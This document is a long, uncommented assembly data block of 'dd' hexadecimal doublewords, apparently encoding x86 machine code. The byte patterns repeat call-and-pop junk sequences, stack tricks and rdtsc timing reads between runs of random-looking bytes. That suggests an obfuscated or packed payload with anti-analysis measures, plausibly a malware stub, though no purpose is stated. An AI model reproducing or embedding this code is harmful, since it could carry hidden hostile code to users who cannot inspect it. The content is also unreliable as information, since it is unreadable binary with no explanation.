		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0FB1CBC3h, 31CB86D7h, 1F07559Dh, 0CE906h, 89450000h
		dd 0CA93B992h, 36C690C5h, 0BD83958Bh, 6231457h,	21840F00h
		dd 0F000000h, 483h, 0DBBE6600h,	6880F6Ch, 81000000h, 4FB6DEDEh
		dd 91E97Bh, 0C7810000h,	2C76DBBDh, 145785C7h, 10623h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0F345E1C3h, 0FA05B63Bh, 95096C15h, 61F0841h,	52E9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0A3CB0D7Ch, 28520F86h, 85C78CD5h, 6231457h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 9FC35040h
		dd 0AEC2218Ch, 8DD2FB09h, 1F20099Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 2F427687h
		dd 2B94BA22h, 1F080DB5h, 0FF238106h, 8BFFFFFEh,	1F070DBDh
		dd 0DB8C6606h, 70D8589h, 0C3F6061Fh, 3C840F04h,	66000000h
		dd 5F3AF781h, 317595FFh, 9D89061Fh, 61F2751h, 52505090h
		dd 3DF3BF66h, 5250310Fh, 8B0Fh,	310F0000h, 585AFB8Bh, 8B90585Ah
		dd 1F2D21B5h, 0F575706h, 86h, 0E95F5F00h, 455h,	0EE957h
		dd 0C2A40000h, 1DEB0C53h, 0B651E7B6h, 21C14FC3h, 6A00B05Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 3FC5C352h, 359529h, 0DF81061Fh, 10751397h
		dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 865982C3h, 66028955h, 4110C781h, 6A71E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0B60F09C3h, 57006AD8h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 54F2C95Dh, 0A53FD16Ch
		dd 8166A967h, 0BA36B4E7h, 6, 61605260h,	79958B58h, 61061F08h
		dd 0C1F9C38Bh, 6A04E8h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66948EC3h, 8D29FB8Bh, 61F132Dh
		dd 0F766F88Bh, 8D8B60E2h, 61F0F55h, 2B61D98Bh, 7E9D8h
		dd 0EFAD0000h, 6103D6CDh, 0AE993B0h, 0AD000000h, 9F9E4A08h
		dd 0DDE61475h, 0CE9504Dh, 0BD000000h, 0D4A839F8h, 0CA1BC29Ch
		dd 93F7247Dh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	89C35040h, 5C556B62h, 0FFD90D6Ah, 1F05E1B5h, 0F3B70F06h
		dd 1D4595FFh, 9589061Fh, 61F2F0Dh, 6A00B0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 76390EC3h
		dd 6CB7907Ch, 10E6C681h, 0BD8B31F7h, 61F1A39h, 6A70E6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 380D63C3h, 15D4BF5Ch, 6D8529A6h, 0E4061F23h,	56006A71h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 25A273ACh, 171DBD8Bh, 613C061Fh, 263830Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0BB63BDC3h, 0BAD96F7h, 0B5097C55h, 61F2B01h,	6AD8B60Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0C3F9C352h, 0BD8BCFF8h, 61F0E29h,	2318501h
		dd 6BA061Fh, 0F000000h,	180h, 0C38BFC00h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 16h, 0F3C35040h, 840F5510h
		dd 6, 31B9BD09h, 0E8C1061Fh, 9E904h, 0D4D60000h, 1821C272h
		dd 66E04E34h, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 100FB4C3h, 0D82BAFF1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DAC35646h, 0E58589E1h
		dd 58061F24h, 5E9h, 471E2000h, 8B600F87h, 1F0CD1BDh, 0AE906h
		dd 0AD200000h, 0A83A8465h, 0E1A9265Fh, 0FD82B61h, 15088h
		dd 0A5B52900h, 60061F2Dh, 8E5B52Bh, 8E9061Fh, 0E8000000h
		dd 65837B66h, 61909B1Ah, 7B9h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0D5C681F2h
		dd 83A0DA9Ah, 3BFC00C1h, 2860FD9h, 6A000001h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 279C350h, 26F293E1h,	0B58B2606h, 61F159Dh, 38F0Fh, 0BF0F0000h
		dd 0D98C66FEh, 0F04C1F6h, 9D84h, 79953100h, 0FF061F02h
		dd 1F317595h, 8E0F06h, 89000000h, 1F00998Dh, 6A5B06h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 2B4E89C3h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0EE31FBE6h, 897BA155h, 1F0D21BDh
		dd 0BE85006h, 0A2000000h, 0B7498BAAh, 0CD587F5Fh, 0BD89D099h
		dd 61F0059h, 343D5F5Eh,	0F000008h, 1986h, 0BE900h, 49140000h
		dd 11C6054Ah, 0C730697Eh, 2BE9A7h, 0BF660000h, 0C08BDCA2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 48C35343h
		dd 29DA3B57h, 1F1B059Dh, 8BC38B06h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 452EC731h
		dd 0FE6C08Ah, 810FFBBFh, 0
		dd 1EC185C7h, 5FF7061Fh, 81663727h, 8B8083CEh, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0AEA7ACF1h, 31EF4114h, 0BD8101BAh, 61F05E1h,	7D0h, 25850Fh
		dd 800F0000h, 6, 0DE9B52Bh, 85FF061Fh, 61F05E1h, 0EE9h
		dd 0BC9F0F00h, 91703273h, 0A2121192h, 0FFA5DD8Eh, 1F05E1B5h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 3D1A8F27h, 293495DBh, 1F139995h,	4595FF06h
		dd 6A061F1Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 2098C350h, 0DB24BE66h,	39B58B90h
		dd 8B061F14h, 1F23E9BDh, 0F1B52B06h, 0F061F30h,	6AF2BFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0E5C24EC3h, 0AE9h, 9AD74300h, 1913ECE4h, 521BDD7Ch
		dd 2BCD8D89h, 335F061Fh, 1F2E15BDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0AE92BCB0h
		dd 0BEE71A59h, 375CB9EEh, 11559D09h, 0BEF8061Fh, 6CFD777Ch
		dd 52DF8166h, 5E951h, 0C8060000h, 6A254FC7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 6C1CC356h, 2C393439h, 83BDDDCh, 123DB589h, 0BF66061Fh
		dd 6AE531h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 549ED1C3h, 51809728h, 0FFB70FF9h,	0F3BF0F5Fh
		dd 18D59509h, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 5F8AAAC3h, 11B52368h, 89061F02h
		dd 1F0089B5h, 0F764E906h, 0B58BFFFFh, 61F029Dh,	53006A60h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0ED9D29FDh, 0B9061F00h, 0FFFFFFFEh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 4FC35343h, 155461BFh, 13D06726h
		dd 95BD8B7Dh, 8B061F16h, 98D21D3h, 6A061F20h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B4ACC356h, 0F96191Dh, 0D8D21E2h, 8B061F16h,	1F10D19Dh
		dd 98D8B06h, 83061F20h,	850F01E1h, 6, 1FA18D89h, 8D8B061Fh
		dd 61F160Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	61C35141h, 0F01E183h, 2985h, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 57798675h
		dd 0AC434C32h, 2398531h, 6061061Fh, 1FC19589h, 0FEB9061Fh
		dd 6AFFFFFFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7750C352h, 89DFE7C4h, 1F0CC985h
		dd 0D18D2106h, 6A061F2Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 45CCC350h, 0FF18BB0h
		dd 8D21F7BFh, 61F0DD5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0CEC35646h, 0CE87Ah, 6C840000h, 0B71BD5E1h
		dd 0D77DCF91h, 0B58B4124h, 61F2D4Dh, 0D18D8B58h, 6A061F2Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 81CCC351h, 35AEF4CAh, 1E1834Bh, 6850Fh, 95890000h
		dd 61F2DB5h, 0DD58D8Bh,	0B529061Fh, 61F0869h, 0F01E183h
		dd 285h, 61C78B00h, 8EBE6660h, 0FFFEB93Fh, 6AFFFFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 25C2DC3h, 0B1E75626h, 66D24C13h, 90BFC381h, 27D8D21h
		dd 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D0921C3h, 61F0EA5h, 1D3D8D21h, 6A061Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 6C64FCC3h, 663BA0C1h, 9FFCE881h, 8B63E380h, 1F027D8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 6D8589A7h, 83061F06h, 850F01E1h,	1Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0DAC35646h, 8BECB47Dh
		dd 1F1D3D8Dh, 0D99D8906h, 83061F13h, 850F01E1h,	24h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0ADC35545h, 29BBED7Eh
		dd 0FA8B66D3h, 6A6061h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0AE781EC3h, 475945C7h, 0D18B6618h
		dd 2B85958Bh, 0FEB9061Fh, 6AFFFFFFh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7D44C355h
		dd 0B4887ECEh, 19F38389h, 21F8BF0Fh, 1F2C298Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0B41ECF5Ch, 6E9F7h, 350A0000h, 13F7AE28h, 1EC18D21h
		dd 6A061Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 290C31C3h, 1F11DD9Dh, 298D8B06h, 0BE061F2Ch
		dd 51056C77h, 0F01E183h, 2485h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 2BEF9BE7h
		dd 0E73D4E3Bh, 0C18D8BBEh, 6A061F1Eh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B99FC356h
		dd 0E590BA66h, 664A2F3Ah, 830E95B8h, 850F01E1h,	24h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7FC35343h, 0BB2F9197h
		dd 0AF2CB866h, 6A6061h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 24A943C3h, 0FE51063h, 88Fh, 28E0F00h
		dd 60000000h, 0E185C761h, 0D0061F05h, 6A000007h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 61F5C350h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	9FC35646h, 0A958AB00h, 9EC49033h, 7BBA66D1h, 158D29DFh
		dd 0EB061F0Fh, 0E99D6107h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 16C35343h
		dd 1DCAAFDh, 1F2B3DBDh,	6ADF8B06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 1340C355h
		dd 4353EEDh, 38B0Fh, 8B660000h,	0EBC18BCFh, 0E09104Bh
		dd 1AC53C2Fh, 0A4ACDA4Bh, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
		dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh,	0A6DB67h
		dd 49DEBDh, 0D5A3EA1Ah,	0
		dd 0FEBF199Ch, 0FE3D0000h, 0FBh, 27E64128h, 0C3727DD4h
		dd 0EBBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 89F375FCh, 1F02CDBDh, 0F5BD8306h
		dd 61F0Eh, 69850Fh, 8D890000h, 61F1E11h, 0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 8DCC32D7h, 6AFD56CCh, 5E9FCE4h, 0AB000000h, 0F9AE72C8h
		dd 4C2DA8Bh, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 3A53F022h, 51D3BF0Fh, 267D9D0Bh
		dd 8B5F061Fh, 898589C0h, 0E9061F20h, 5,	0BA154011h, 0C1BD83ADh
		dd 61F06h, 0BD830975h, 61F1F51h, 50137400h, 0B8C08B53h
		dd 4D0h, 0AD789D8Dh, 0D3FF0621h, 0BD83585Bh, 61F1F51h
		dd 50117400h, 4D0B853h,	9D8D0000h, 621ACC5h, 585BD3FFh
		dd 1A799531h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 95BCE9C3h, 7FE905EFh, 0C08B07B3h
		dd 5E9h, 0AC250400h, 858DA17Bh,	6232480h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0ACC35343h, 4FC51EDh
		dd 0EE901h, 83830000h, 556A42Dh, 61B3D25Ah, 0A3752C80h
		dd 0DE8h, 0FA3E200h, 0E5D74489h, 19B88E57h, 8E0F71DBh
		dd 6, 0C0E9E381h, 505A6E50h, 83BA6650h,	4895F85h, 0F7816624h
		dd 858DA5FEh, 623243Dh,	298529h, 6050061Fh, 0F50D08Bh
		dd 85h,	89615F00h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BE9D0C3h, 0AB000000h
		dd 88696636h, 0A436C9B9h, 95FF5DE1h, 61F1F21h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0AEC35242h, 14CEB371h
		dd 8A11BA21h, 4830Fh, 0BB660000h, 448BB2D0h, 6A0424h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0CA811BC3h, 8468E7Eh, 89D6BF0Fh, 23246885h, 85BD3306h
		dd 66061F08h, 448BD18Bh, 6A0824h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 40F637C3h, 703A7CC0h
		dd 0D18BBA29h, 85890EF2h, 623247Ch, 83D1BF0Fh, 1F24B5BDh
		dd 850F0006h, 10Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0D1C35747h, 663E299Ch, 0E4FD281h, 202585C6h
		dd 6A47061Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A48DC355h, 0CCFDD8B6h, 60383EA6h
		dd 9D98D89h, 8B53061Fh,	1F2B1185h, 0E8615806h, 4, 0D49AA7D2h
		dd 5840Fh, 7DBA0000h, 5039635Fh, 5E9h, 3D65FC00h, 448B66CCh
		dd 8A570424h, 8B59F8h, 89CA8B66h, 0BA042444h, 499B02D0h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 5E826ED2h, 0B5FF7128h, 61F3271h,	0AF5BD09h
		dd 858D061Fh, 6227993h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0EBC35747h, 687DA6EDh, 14B99589h, 0D0FF061Fh
		dd 9850Fh, 8A0F0000h, 3, 893CDD80h, 1F24B585h, 0FD8D2306h
		dd 83061F1Ah, 1F0A11BDh, 850F0006h, 0FBh, 40F38166h, 2585C6F6h
		dd 47061F20h, 1E1D8D8Bh, 4E8061Fh, 0E2000000h, 668A0FB5h
		dd 0E950D78Bh, 11h, 86F23323h, 6E6EC678h, 676FBE06h, 582490D3h
		dd 24448B38h, 10E95004h, 52000000h, 18272DCCh, 54358E4Ah
		dd 2E896999h, 5F6F9157h, 5250008Bh, 0D565BF66h,	0E860310Fh
		dd 0Ch,	94FB9BE3h, 55AF742Eh, 60D22968h, 0EE4DB958h, 5A616389h
		dd 24448958h, 0AEDEBA04h, 6A5820B7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1C2AC351h
		dd 23A8BE29h, 0C195891Fh, 66061F07h, 0FF5A2FB9h, 1F3271B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 754E03F5h, 4ED707FDh, 958B2C21h,	61F30D1h
		dd 2E9DF281h, 858D6963h, 6227993h, 2A518D89h, 0D0FF061Fh
		dd 8589FE8Bh, 61F0A11h,	83DBB70Fh, 1F06F9BDh, 850F0006h
		dd 10Ch, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	72C35747h, 0B59BC557h, 0C6040921h, 1F202585h, 85895606h
		dd 61F1F25h, 4E8F8h, 6D390000h,	8B53D41Fh, 50505AD7h, 0DE852h
		dd 9D850000h, 613DF831h, 36EBAFEAh, 0BA6570A6h,	3F229EFEh
		dd 0BA310F5Fh, 3466126Ch, 448B585Ah, 8B0424h, 52505250h
		dd 310F5951h, 310F585Ah, 585ACB8Bh, 4244489h, 0CE9h, 0B61F2000h
		dd 9AC295F1h, 0F4AFBE1h, 6A5856h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0CF0EC2C3h, 0F1153110h
		dd 525D933Ah, 0EE8h, 50AC2C00h,	6898037Fh, 0E40EE9D2h
		dd 52033C10h, 0FF5B5B59h, 1F3271B5h, 1866BF06h,	858D35B2h
		dd 6227993h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	3AC35141h, 1CF20108h, 0D0FF1D51h, 6F98589h, 9589061Fh
		dd 61F1BEDh, 202585C6h,	0F6C061Fh, 68Dh, 18D8B00h, 68061F17h
		dd 0AAB66EB6h, 481D98Bh, 4F01CD24h, 52006A30h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0FFCA8A29h
		dd 1F20D9B5h, 69BD2306h, 8D061F31h, 1F394D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 7F58F1A3h, 13E95Bh, 46390000h, 6C1F562Eh, 2500D9F2h
		dd 529341D0h, 0BE7C24E4h, 8BD0FF85h, 1F02419Dh,	6C858906h
		dd 0B062324h, 1F00698Dh, 6A046A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0EC65C355h
		dd 8E9h, 0A6D9C000h, 31F21421h,	4E847h,	10000000h, 0AE90000h
		dd 82000000h, 2C1391B3h, 0D1F33B1Eh, 8B6650F4h,	24448BDAh
		dd 86BB6604h, 51008B3Ch, 0FE960h, 0A0860000h, 1E986956h
		dd 6A6F0B8Fh, 8063943Eh, 895F619Eh, 66042444h, 6A58D88Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0ED7FC355h, 0D99533F2h, 68061F05h, 0A1DEAD3h
		dd 0D3243481h, 0E90A1CEAh, 5, 94390CE9h, 0C2816684h, 6A174Eh
		dd 0FBE78166h, 0F195FF17h, 6A061F1Fh, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0FDC3C355h
		dd 76AC6A75h, 0A027B909h, 85891992h, 6232478h, 23C99D8Bh
		dd 0BD8B061Fh, 61F0D55h, 7AB6006Ah, 0DC0C5968h,	66525097h
		dd 0FFDBFBBh, 68E0F31h,	50000000h, 5A310F52h, 81585A58h
		dd 0F3A72404h, 9D036824h, 61F23A9h, 50525090h, 0F5F5052h
		dd 5AD58A31h, 0E9310F58h, 0Dh, 0A956E02Eh, 67F41DB1h, 4A5B7B5Eh
		dd 50585AEFh, 5F526053h, 850Fh,	5F610000h, 57006A90h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 475D5329h, 2DF99529h, 0B6A061Fh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 25C35242h, 0C9817FDEh, 12E9h
		dd 0DB99C600h, 0D1CD00F1h, 0FEDFD28Eh, 100B82FDh, 8DFFA27Dh
		dd 23244585h, 0FE806h, 79C20000h, 0A6648E4Bh, 0C862D486h
		dd 4E99F303h, 12E933h, 88A0000h, 0D935C571h, 28C85101h
		dd 211BEF4Bh, 606DACF7h, 7E8505Bh, 36000000h, 0F7692F6Fh
		dd 0EE8AABE4h, 2404895Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 26C35242h, 8AC176F4h,	95FFFA8Bh, 61F24B5h
		dd 0E9852360h, 0BA061F1Ch, 5C309903h, 4FB58D61h, 6A062324h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0BA30C350h, 0FA7FCBAh, 6650D3BFh,	893905BAh
		dd 9D8B2434h, 61F0DADh,	0BABF6650h, 24048970h, 19D8B53h
		dd 59061F17h, 0A1195FFh, 6A061Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 43686FC3h, 12E928h, 0BF8C0000h
		dd 55D39A04h, 0F3F16C74h, 0A59A0E27h, 7D94A094h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 452EC7C3h, 31E6C08Ah, 58D8B13h, 8B061F16h, 232478B5h
		dd 41B58906h, 0C7061F13h, 23247085h, 6,	6E900h,	94760000h
		dd 1838897Bh, 207E80h, 314840Fh, 9D010000h, 61F05B9h, 0C9858960h
		dd 8D061F0Bh, 8E0F2046h, 4, 6F25BB66h, 24748589h, 0B70F0623h
		dd 47E9C9h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0F5B4E4C3h, 3A01806Ch, 6A40DA83h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0E81CC357h, 0D9CF8166h, 3880B4h, 0FFD4850Fh
		dd 0B509FFFFh, 61F1391h, 0DE9h,	9D8D0100h, 0BB061F05h
		dd 364FEA20h, 3880F948h, 42840F5Ch, 0E8000000h,	12h, 7954D520h
		dd 9041CF25h, 81207C2h,	4B75E4E9h, 830F17DAh, 2, 805FD38Bh
		dd 840F2F38h, 19h, 13918D89h, 8166061Fh, 3BF407E9h, 23247485h
		dd 0B5830F06h, 0B5FFFFFFh, 6A40CEh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 6A0E37C3h
		dd 89502D57h, 1F2F0DBDh, 0FE906h, 4E450000h, 0CCC2327h
		dd 0C4FC91B2h, 7A5440CAh, 7CBD83FFh, 62324h, 81840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 204832C3h, 0ABDF6576h, 0AE959h, 336E0000h, 6FFCC26Fh
		dd 806B0F15h, 89CF8B50h, 0B0602404h, 0F99D8B0Fh, 61061F20h
		dd 247C8503h, 0BD8B0623h, 61F2735h, 8DBD2B57h, 5A061F23h
		dd 290000C6h, 1F004D85h, 6A5806h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0C6BF3EC3h, 90AE858Bh
		dd 90DA8B50h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 18h,	0D0C35545h, 5B5132FAh, 2468B5FFh, 0D1810623h, 494230F8h
		dd 246C95FFh, 0BF0F0623h, 0FC00BF8h, 0B885h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 870FFD44h, 6, 2EA19D2Bh, 8D89061Fh, 61F318Dh, 51006A61h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 4F84989Fh, 35453BF8h, 9D8BD759h, 61F1701h, 4CCB8166h
		dd 7085C7C4h, 1062324h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 2B16C357h
		dd 28A0Fh, 0CA8B0000h, 99E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 8B10699Eh
		dd 0E4B966DFh, 6A6159h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 1717DCC3h, 1CC681F8h, 6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 1AB9C357h, 6A794347h, 0C8173718h,	0FFFD07E9h
		dd 11E8FFh, 17B0000h, 0A9A09F63h, 35E70A6Bh, 7B9E0E03h
		dd 60C4D39Bh, 2C45B589h, 0B58B061Fh, 61F0CF1h, 0E8685F61h
		dd 571B80ADh, 2860Fh, 1FB70000h, 2434815Ah, 1B802DE8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ABC35141h
		dd 9DB531F8h, 6A061F00h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 0E94F2B03h, 7,	0A208756Bh
		dd 0FFB2211Ch, 232478B5h, 0F8DFB906h, 95FF212Fh, 61F06F9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6DC35646h
		dd 835ABC38h, 0BD010BBAh, 61F2BFDh, 2470858Bh, 6A0623h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0D37FA0C3h, 4D6156E8h, 0E98AE8F7h, 9, 21E98FCCh, 57798675h
		dd 519D0B32h, 50061F08h, 5E8h, 0EA702500h, 6E9AFA8h, 20000000h
		dd 0E0CB8CE9h, 4895A4Dh, 9E86024h, 0B3000000h, 0C4A39163h
		dd 0A1E90F03h, 1F8D8D8Bh, 615A061Fh, 2480858Dh,	0F88B0623h
		dd 0CD98529h, 0B790061Fh, 0E950504Ah, 8, 9DEC2EFCh, 0E97F3612h
		dd 0B509905Ah, 61F1DC1h, 243D858Dh, 9D230623h, 61F0701h
		dd 0A523BA50h, 4894140h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0B01C437Ch, 5A5DCC62h
		dd 16699D89h, 95FF061Fh, 61F0FADh, 909958Bh, 0C08B061Fh
		dd 11F59D89h, 0BD83061Fh, 61F06C1h, 83097500h, 1F1F51BDh
		dd 13740006h, 0C08B5350h, 4D0B8h, 0DF9D8D00h, 0FF0621ADh
		dd 83585BD3h, 1F1F51BDh, 11740006h, 0D0B85350h,	8D000004h
		dd 21ACDE9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 3F3D560Ch, 4F2CF271h
		dd 0E18D8BB0h, 81061F18h, 0D7BD28E1h, 56006A4Ch, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0BA66635Eh, 9D29ED67h, 61F1D7Dh, 6660C08Bh, 5861C18Bh
		dd 1FC18D8Bh, 8C2061Fh,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 1F71C222h, 70556791h
		dd 0B5898C3Ah, 61F1DA5h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 7AA528C3h, 746DD8C6h
